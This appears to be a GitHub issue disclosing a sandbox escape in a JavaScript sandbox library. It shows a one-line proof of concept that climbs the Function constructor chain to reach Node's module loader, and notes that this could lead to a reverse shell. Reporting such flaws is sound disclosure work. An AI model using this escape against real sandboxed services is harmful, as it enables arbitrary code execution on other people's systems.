-
Notifications
You must be signed in to change notification settings - Fork 113
Open
Description
Using functions and constructors, its possible to escape the sandbox to get process, which can be used to get require that can be used for evil things like a reverse shell.
Code:
new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")
A, I hope, more readable (because of how hacky the thing is its difficult) version:
new Function("
return (
this.constructor.constructor('
return (this.process.mainModule.constructor._load
)'
)())"
)()
("util").inspect("hi")
dreua, johan-gorter, krzkaczor and dannyhpy
Metadata
Metadata
Assignees
Labels
No labels